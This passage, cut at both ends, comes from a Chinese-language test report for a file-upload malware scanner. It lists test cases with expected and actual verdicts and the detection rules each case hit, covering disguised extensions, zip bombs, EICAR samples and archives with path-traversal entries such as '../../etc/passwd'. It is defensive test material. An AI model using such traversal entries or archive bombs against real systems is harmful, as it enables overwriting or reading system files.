`NEG-008_clean.py` | 73B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 9 | **NEG-009** | `NEG-009_clean.zip` | 285B | `pass` | `clean` | 0.0 | ✅ | - | +| 10 | **NEG-010** | `NEG-010_clean.exe` | 104B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 11 | **NEG-011** | `NEG-011_clean.log` | 90B | `pass` | `clean` | 0.0 | ✅ | - | +| 12 | **NEG-012** | `NEG-012_clean.csv` | 52B | `pass` | `clean` | 0.0 | ✅ | - | +| 13 | **NEG-013** | `NEG-013_clean.eml` | 121B | `pass` | `clean` | 0.0 | ✅ | - | +| 14 | **NEG-014** | `NEG-014_clean.dll` | 104B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed | +| 15 | **NEG-015** | `NEG-015_clean.ttf` | 204B | `pass` | `clean` | 0.0 | ✅ | - | +| 16 | **NEG-016** | `NEG-016_clean.dwg` | 206B | `pass` | `clean` | 0.0 | ✅ | - | +| 17 | **NEG-017** | `NEG-017_4layer_nested.zip` | 142B | `pass` | `suspicious` | 35.0 | ✅ | MalformedStructure, ArchiveBroken | +| 18 | **NEG-018** | `NEG-018_clean.bat` | 71B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 19 | **NEG-019** | `NEG-019_clean.ps1` | 75B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension | +| 20 | **NEG-020** | `NEG-020_clean.odt` | 277B | `pass` | `clean` | 0.0 | ✅ | - | + +--- + +## 逐条详情 + +> 展开每条用例的 description / 命中规则详情 / 发现列表 + +### L0 + +#### ✅ L0-002 — `L0-002_png_normal.png` + +- **描述**: 正常文件幻数识别-PNG +- **文件大小**: 58 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L0-004 — `L0-004_pdf_normal.pdf` + +- **描述**: 正常文件幻数识别-PDF +- **文件大小**: 14 B +- **预期**: `pass` +- **实际**: `suspicious` (score=20.0, action=pass_with_flag) +- **判定理由**: 风险评分 20.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 | +| `document` | `L2` | `low` | `PdfParseFailed` | 0.0 | PDF 解析失败:startxref not found | + +#### ✅ L0-006 — `L0-006_disguise_jpg_pe.jpg` + +- **描述**: jpg 后缀 + 实际 PE MZ 头 +- **文件大小**: 104 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .jpg,实际内容为 MS-DOS executable, MZ for MS-DOS(.exe) | +| `structure` | `L0` | `critical` | `ExtensionMismatch` | 85.0 | 伪装扩展名:声明 .jpg,真实 .exe | + +#### ✅ L0-007 — `L0-007_disguise_txt_pdf.txt` + +- **描述**: 后缀伪装:txt后缀,实际PDF幻数 +- **文件大小**: 14 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .txt,实际内容为 PDF document, version 1.4(.pdf) | +| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 | + +#### ✅ L0-008 — `L0-008_disguise_png_zip.png` + +- **描述**: 后缀伪装:png后缀,实际ZIP幻数 +- **文件大小**: 54 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .png,实际内容为 ZIP 压缩包(已损坏)(.zip) | +| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file | + +#### ✅ L0-009 — `L0-009_double_ext_pdf_exe.pdf.exe` + +- **描述**: 双扩展名伪装:report.pdf.exe +- **文件大小**: 104 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 双扩展名伪装,高风险 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-009_double_ext_pdf_exe.pdf.exe | +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-009_double_ext_pdf_exe.pdf.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L0-010 — `L0-010_double_ext_txt_ps1.txt.ps1` + +- **描述**: 双扩展名伪装:data.txt.ps1 +- **文件大小**: 10 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 双扩展名伪装,高风险 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-010_double_ext_txt_ps1.txt.ps1 | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | +| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-010_double_ext_txt_ps1.txt.ps1 | + +#### ✅ L0-011 — `L0-011_double_ext_docx_js.docx.js` + +- **描述**: 双扩展名伪装:note.docx.js +- **文件大小**: 11 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 双扩展名伪装,高风险 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-011_double_ext_docx_js.docx.js | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js | +| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-011_double_ext_docx_js.docx.js | + +#### ✅ L0-012 — `L0-012_double_ext_xlsx_bat.xlsx.bat` + +- **描述**: 双扩展名伪装:log.xlsx.bat +- **文件大小**: 21 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 双扩展名伪装,高风险 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-012_double_ext_xlsx_bat.xlsx.bat | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat | +| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-012_double_ext_xlsx_bat.xlsx.bat | + +#### ✅ L0-013 — `L0-013_clean.ps1` + +- **描述**: 干净 ps1 文件 +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | + +#### ✅ L0-014 — `L0-014_clean.bat` + +- **描述**: 干净 bat 文件 +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.bat + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat | + +#### ✅ L0-015 — `L0-015_clean.cmd` + +- **描述**: 干净 cmd 文件 +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.cmd + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.cmd | + +#### ✅ L0-016 — `L0-016_clean.vbs` + +- **描述**: 干净 vbs 文件 +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.vbs + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.vbs | + +#### ✅ L0-017 — `L0-017_clean.js` + +- **描述**: 干净 js 文件 +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.js + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js | + +#### ✅ L0-018 — `L0-018_zip_traversal.zip` + +- **描述**: ZIP单级路径穿越:../test.txt +- **文件大小**: 137 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_drop.txt + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../evil_drop.txt | +| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../evil_drop.txt | + +#### ✅ L0-019 — `L0-019_zip_deep_traversal.zip` + +- **描述**: ZIP多级路径穿越:../../a.txt +- **文件大小**: 147 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../system_drop.txt + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../../system_drop.txt | +| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../system_drop.txt | + +#### ✅ L0-020 — `L0-020_zip_bomb.zip` + +- **描述**: ZIP炸弹42.zip +- **文件大小**: 2,553,622 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 压缩比异常,疑似压缩炸弹 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ArchiveBombSuspect` | 35.0 | 压缩比 1028.6:1 超过阈值 100:1,疑似压缩炸弹 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0000.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0001.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0002.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0003.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0004.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0005.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0006.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0007.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0008.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0009.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0010.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0011.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0012.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0013.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0014.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0015.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0016.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0017.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0018.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0019.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0020.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0021.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0022.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0023.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0024.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0025.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0026.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0027.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0028.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0029.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0030.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0031.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0032.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0033.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0034.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0035.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0036.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0037.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0038.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0039.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0040.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0041.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0042.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0043.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0044.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0045.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0046.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0047.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0048.dat 压缩比 1028.6:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0049.dat 压缩比 1028.6:1 超过阈值,已跳过 | + +#### ✅ L0-021 — `L0-021_small_bomb.zip` + +- **描述**: 自制小型 zip 炸弹(50 成员 × 8KB STORED) +- **文件大小**: 409,802 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 压缩比异常,疑似压缩炸弹 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ArchiveBombSuspect` | 35.0 | 压缩比 1028.7:1 超过阈值 100:1,疑似压缩炸弹 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0000.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0001.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0002.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0003.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0004.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0005.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0006.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0007.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0008.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0009.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0010.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0011.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0012.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0013.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0014.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0015.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0016.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0017.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0018.dat 压缩比 1028.7:1 超过阈值,已跳过 | +| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0019.dat 压缩比 1028.7:1 超过阈值,已跳过 | + +#### ✅ L0-022 — `L0-022_3layer_nested.zip` + +- **描述**: 3层无害嵌套ZIP +- **文件大小**: 365 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L0-023 — `L0-023_5layer_nested.zip` + +- **描述**: 5 层无害嵌套 ZIP +- **文件大小**: 952 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L0-024 — `L0-024_encrypted.zip` + +- **描述**: 加密 ZIP(标记待验证) +- **文件大小**: 144 B +- **预期**: `review` +- **实际**: `suspicious` (score=20.0, action=pass_with_flag) +- **判定理由**: 风险评分 20.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `medium` | `EncryptedArchive` | 20.0 | 归档内含加密成员 1 个(bit0 flag 置位),无法扫描内部内容 | +| `extractor` | `L0` | `low` | `ExtractMemberFailed` | 0.0 | 成员 secret.txt 解压失败:File 120 字符)1 个,可能规避扫描或探测边界 | + +#### ✅ L0-028 — `L0-028_unicode_filename.zip` + +- **描述**: unicode/emoji 文件名 +- **文件大小**: 285 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L0-029 — `L0-029_zero_byte_exe.exe` + +- **描述**: 空文件(0字节)后缀exe +- **文件大小**: 0 B +- **预期**: `review` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'The file is empty' | + +#### ✅ L0-030 — `L0-030_nested_traversal.zip` + +- **描述**: 嵌套 zip 内含穿越条目 +- **文件大小**: 647 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd | +| `structure` | `L0` | `high` | `ArchiveContainsExecutable` | 30.0 | 归档内含可执行文件 1 个:../evil_script.sh | +| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../evil_script.sh | +| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../etc/passwd | + +### L1 + +#### ✅ L1-001 — `L1-001_eicar.txt` + +- **描述**: EICAR标准测试串文本 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-002 — `L1-002_eicar_in_zip.zip` + +- **描述**: EICAR放入zip压缩包 +- **文件大小**: 184 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-003 — `L1-003_eicar_in_encrypted.zip` + +- **描述**: 加密 ZIP(占位:实际加密需 7z/zip -P) +- **文件大小**: 198 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-004 — `L1-004_eicar_in_docx.docx` + +- **描述**: EICAR放入docx内嵌(OLE) +- **文件大小**: 336 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-005 — `L1-005_eicar_modified.txt` + +- **描述**: 修改 1 字节 EICAR,ClamAV 不应命中 +- **文件大小**: 68 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L1-006 — `L0-001_jpg_normal.jpg` + +- **描述**: 干净jpg图片(对照负样本) +- **文件大小**: 54 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L1-007 — `L0-003_docx_normal.docx` + +- **描述**: 干净docx文档(对照负样本) +- **文件大小**: 281 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L1-008 — `L0-005_pe_clean.exe` + +- **描述**: 干净hello PE(对照负样本) +- **文件大小**: 926 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L1-009 — `L1-009_minimal.cvd` + +- **描述**: 热加载测试占位(需真实 .cvd 文件) +- **文件大小**: 38 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, 